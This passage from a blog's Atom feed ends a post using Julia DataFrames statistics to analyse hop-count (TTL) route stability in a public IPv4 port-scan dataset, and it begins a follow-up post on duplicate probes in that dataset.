&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;multirounds_range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rounds_ttl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;multirounds_range&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:mean&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:std&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:q25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:median&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:q75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cols&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="ss"&gt;:range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;×&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variable&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q25&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;median&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;q75&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;
&lt;span class="n"&gt;─────┼──────────────────────────────────────────────────────────────────────&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;range&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mf"&gt;0.634406&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;6.73528&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;239&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So 75% of the samples have a range of 0. Let’s analyze the dataset without them:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;not_perfectly_stable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;multirounds_range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;quite_stable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;not_perfectly_stable&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quite_stable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:mean&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:std&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:q25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:median&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:q75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cols&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="ss"&gt;:range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variable&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q25&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;median&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;q75&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;
&lt;span class="n"&gt;─────┼─────────────────────────────────────────────────────────────────────&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;range&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mf"&gt;1.77117&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;1.39118&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;2.0&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;


&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unstable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;not_perfectly_stable&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unstable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:mean&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:std&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:q25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:median&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:q75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cols&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="ss"&gt;:range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variable&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q25&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;median&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;q75&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;
&lt;span class="n"&gt;─────┼─────────────────────────────────────────────────────────────────────&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;range&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mf"&gt;85.5505&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;62.5483&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mf"&gt;62.0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mf"&gt;64.0&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mf"&gt;127.0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;239&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So it seems that the difference between TTLs for the same host is quite concentrated on 0 and closer, up to 7, as the mean 1.77117 and the standard deviation 1.39118 shows.&lt;/p&gt;
&lt;p&gt;From there the differences are spread over the 8 to 239 range. The mean is around the middle of the range and the standard deviation is approx one quarter so the values are really spread.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkluIHRoZSBkYXRhc2V0IHdlIGhhdmUgYSBzbGlnaHRseSBtb3JlIHVuaXF1ZSBob3N0czogNDMwNTY1OTYuClRoZSBkaWZmZXJlbmNlIGlzIGR1ZSB0aGUgZmlsdGVyaW5nIHRoYXQgd2UgZGlkIGFib3ZlIGJ1dCBpdCBkb2VzCm5vdCBjaGFuZ2UgdGhlIHJlc3VsdHMuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkluIHRoZSBkYXRhc2V0IHdlIGhhdmUgYSBzbGlnaHRseSBtb3JlIHVuaXF1ZSBob3N0czogNDMwNTY1OTYuClRoZSBkaWZmZXJlbmNlIGlzIGR1ZSB0aGUgZmlsdGVyaW5nIHRoYXQgd2UgZGlkIGFib3ZlIGJ1dCBpdCBkb2VzCm5vdCBjaGFuZ2UgdGhlIHJlc3VsdHMuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
In the dataset we have a slightly more unique hosts: 43056596. The difference is due the filtering that we did above but it does not change the results.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;There are only 172217 samples of 43056567 unique hosts so the &lt;em&gt;unstable&lt;/em&gt; represents only 0.39998%.&lt;/p&gt;
&lt;h3 id="bursts-over-longer-periods-but-for-how-long"&gt;Bursts over longer periods but for how long?&lt;/h3&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL2ludGVybmV0X3NjYW4vaXAtdHRsLXJhbmdlLWFuZC10aW1lLnBuZycgLz4KRm9yIGVhY2ggYnVyc3Qgd2UgY2FsY3VsYXRlIGl0cyBUVEwgcmFuZ2UuCgpGcm9tIHRoZXJlLCBhIGJ1bmNoIG9mIHN0YXRpc3RpY3MgY2FuIGJlIGNhbGN1bGF0ZWQgYWJvdXQgdGhlIFRUTCByYW5nZXMKZm9yIHRoZSAqc2FtZSBob3N0cyogZ2l2aW5nIHVzIGFuIGlkZWEgb2YgdGhlIHN0YWJpbGl0eSBvZiB0aGUgcm91dGUKdG8gaXQuCm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL2ludGVybmV0X3NjYW4vaXAtdHRsLXJhbmdlLWFuZC10aW1lLnBuZycgLz4KRm9yIGVhY2ggYnVyc3Qgd2UgY2FsY3VsYXRlIGl0cyBUVEwgcmFuZ2UuCgpGcm9tIHRoZXJlLCBhIGJ1bmNoIG9mIHN0YXRpc3RpY3MgY2FuIGJlIGNhbGN1bGF0ZWQgYWJvdXQgdGhlIFRUTCByYW5nZXMKZm9yIHRoZSAqc2FtZSBob3N0cyogZ2l2aW5nIHVzIGFuIGlkZWEgb2YgdGhlIHN0YWJpbGl0eSBvZiB0aGUgcm91dGUKdG8gaXQuCm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/network/internet_scan/ip-ttl-range-and-time.png' /&gt;
For each burst we calculate its TTL range.
&lt;br /&gt;&lt;br /&gt;
From there, a bunch of statistics can be calculated about the TTL ranges for the &lt;em&gt;same hosts&lt;/em&gt; giving us an idea of the stability of the route to it.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Can we conclude that the routes are 99% of the time &lt;em&gt;stable&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;Well, yes but we are making an assumption: when we have two or more bursts to the same host we are assuming that those happen at different moments but… what do we mean by &lt;em&gt;different moments&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;Certainly, a difference of a few seconds does not change anything by real.&lt;/p&gt;
&lt;p&gt;What we want is to measure the changes in the TTLs between bursts that happen at &lt;strong&gt;hours&lt;/strong&gt; of difference.&lt;/p&gt;
&lt;p&gt;So, let’s check how &lt;em&gt;spread&lt;/em&gt; are the timestamps of the grouped by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, aka how &lt;em&gt;spread&lt;/em&gt; are the &lt;em&gt;bursts&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rounds_spread&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rounds_g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:timestamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rounds_spread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:mean&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:std&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:q25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:median&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:q75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cols&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="ss"&gt;:timestamp_std&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variable&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;q25&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;median&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;q75&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;
&lt;span class="n"&gt;─────┼─────────────────────────────────────────────────────────────────────────────────&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;timestamp_std&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;51768.5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;32284.3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;0.707107&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;25612.8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;49328.5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;73464.1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;1.52706e5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So we have bursts that happen one after the other, roughly with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mf"&gt;0.707&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; seconds of difference.&lt;/p&gt;
&lt;p&gt;But most of the burst happen with several minutes, even &lt;strong&gt;hours&lt;/strong&gt; of difference.&lt;/p&gt;
&lt;p&gt;The 25-quantile, that represents the value of the first quarter of the samples, is of 25612.8 seconds, a little more than 7 hours.&lt;/p&gt;
&lt;h2 id="conclusions"&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;So with these so-spread bursts and the so-little changed difference in the TTLs we can conclude that most of the hop-count routes are &lt;em&gt;stable&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;We cannot say anything about the real routes that the packets took but we can know that the count of hops that they passed through remained constant.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/10/16/IPv4-Scan-Part-III-Hop-stability.html" rel="alternate" type="text/html" title="IPv4 Scan 2021 - Hop-Count Route Stability"/>
    <category term="pandas" label="pandas"/>
    <category term="julia" label="julia"/>
    <category term="statistics" label="statistics"/>
    <category term="seaborn" label="seaborn"/>
    <published>2021-10-16T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/09/19/IPv4-Scan-Part-II-Multiprobes-Analysis.html</id>
    <title>IPv4 Scan 2021 - Multiprobes Analysis</title>
    <updated>2021-09-19T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;To my surprise the &lt;a href="https://www.kaggle.com/signalspikes/internet-port-scan-1"&gt;dataset&lt;/a&gt; preprocessed in my &lt;a href="/articles/2021/09/10/IPv4-Scan-Dataset-Preprocessing.html"&gt;previous post&lt;/a&gt; &lt;strong&gt;has&lt;/strong&gt; duplicated entries. These are scans to the same host and port but with a different timestamp.&lt;/p&gt;
&lt;p&gt;Questions like “which open port is more likely” will biased because the same host-port may be counted more than once.&lt;/p&gt;
&lt;p&gt;On the other hand, this opens &lt;em&gt;new questions&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;which is the reason to scan the same port more than once? If it is &lt;em&gt;fixed&lt;/em&gt; by the scanner we can deduce that ports scanned once &lt;em&gt;were scanned more times&lt;/em&gt; but the other probes failed and get an estimation of such.&lt;/li&gt;
&lt;li&gt;is the same port opened due different reasons?&lt;/li&gt;
&lt;li&gt;could we characterize the scanner based on the timestamps like scanning patterns?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The second surprise was that even working with small samples (around 100MB), &lt;a href="https://pandas.pydata.org/"&gt;Pandas&lt;/a&gt;/&lt;a href="https://dask.org/"&gt;Dask&lt;/a&gt; has &lt;strong&gt;serious performance problems&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;consumes much more memory (gigas)&lt;/li&gt;
&lt;li&gt;CPU at 100% all the time&lt;/li&gt;
&lt;li&gt;simple operations like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; take forever.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Goodbye Pandas, hello &lt;a href="https://julialang.org/"&gt;Julia&lt;/a&gt;?&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="julias-dataframes"&gt;Julia’s DataFrames&lt;/h2&gt;
&lt;p&gt;First we need to install a few packages:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Pkg&lt;/span&gt;

